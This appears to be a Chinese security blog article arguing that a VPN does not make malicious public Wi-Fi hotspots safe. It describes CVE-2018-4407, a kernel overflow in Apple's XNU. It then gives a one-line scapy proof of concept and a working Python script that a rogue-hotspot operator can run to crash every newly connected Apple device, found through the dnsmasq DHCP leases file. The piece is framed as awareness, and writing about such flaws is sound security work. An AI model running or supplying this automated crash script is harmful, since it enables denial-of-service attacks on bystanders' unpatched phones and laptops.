有VPN保护就可以随意连接公共热点？大错特错

1. 背景

提到公共热点、钓鱼热点或恶意热点，我们通常会提到可能存在攻击者在嗅探网络流量中的敏感信息，或者结合DNS劫持打造一个高仿真的钓鱼环境，给用户造成安全威胁。

许多安全从业者在接受采访或咨询时，会推荐在不安全的无线环境中开启VPN。目前国内许多手机应用还提供了免费的VPN功能，作为抵御恶意热点的安全解决方案来吸引用户下载安装。

然而许多产品在对外宣传描述时，存在描述过度或断章取义的情况，不自觉的去掉了限制条件，于是许多用户现在产生了这样的错觉：“只要使用VPN，就能抵御恶意热点中的一切攻击，随意连接WiFi热点也没关系了。”

随意搜了一下，在许多媒体文章中都是这个论调：

“专家认为，通过VPN来连接WiFi是非常安全的。”
“用户只需在移动端开启VPN，填入用户名和密码，就可以安心的在公共WiFi网络中上网了。”

这些描述都是不准确的，使用VPN的确能保护好设备的网络流量，但在恶意热点环境中的攻击威胁远不止如此。

通常，一个用户在连接公共热点时，往往通过如下步骤：

打开无线功能，选择并连接到目标热点。
通常需要通过Captive Portal强制门户页面进行认证获取网络权限。
获取到网络权限后，有安全意识的用户会开启VPN保护流量。

后文我将以实例说明，假设我是一名恶意热点搭建者，面对这些打算使用VPN进行保护的用户，我可以从哪些方面对他们造成威胁。

2.攻击威胁

2.1 系统层面的漏洞

最具影响力的便是操作系统本身的漏洞，对没有及时更新修复漏洞的设备来说是通杀的效果。

1）缓冲区溢出漏洞 CVE-2018-4407

CVE-2018-4407是安全研究员Kevin Backhouse 发现的XNU系统内核中的堆缓冲区溢出漏洞，攻击者可能利用缓冲区溢出进行远程代码执行。由于iOS和macOS都使用XNU，因此iPhone、iPad和MacBook均受到影响。

影响范围：

Apple iOS 11及更早版本：所有设备（升级到iOS 12的部分设备）
Apple macOS High Sierra（受影响的最高版本为10.13.6）：所有设备
Apple macOS Sierra（受影响的最高版本为10.12.6）：所有设备
Apple OS X El Capitan及更早版本：所有设备

Kevin在推特中给出了PoC和演示视频，利用该漏洞可以使得同一局域网下的Macbook和iPhone设备崩溃。

可以通过scapy工具来发送数据触发该漏洞:

1
2
3

from scapy.all import *

send(IP(dst="1.2.3.4",options=[IPOption("A"*18)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))

如果我们是一个钓鱼热点攻击者，想达到“自动”的效果很简单，定时监听当前网络活跃主机向其发送攻击代码即可。

假设使用了dnsmasq程序提供DHCP和DNS服务，dhcp池文件保存在‘/var/lib/misc/dnsmasq.leases’文件中。

import os, time
from scapy.all import *

lines_old = 0
lines_new = 0
while 1:
    lines_old = lines_new
    if os.path.exists('/var/lib/misc/dnsmasq.leases'):
        f = open('/var/lib/misc/dnsmasq.leases', 'r').readlines()
        lines_new = len(f)
        if lines_new > lines_old:
            for i in range(lines_old, lines_new):
                value = f[i].split()
                if len(value) == 5:
                    print value[2] + ' ' + value[1] + ' ' + value[3] + ' Connect!'
                    
                    for i in range(3):
                        #For Apple devices(CVE-2018-4407)
                        send(IP(dst=value[2],options=[IPOption("A"*18)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))                
                        time.sleep(1)
    time.sleep(3)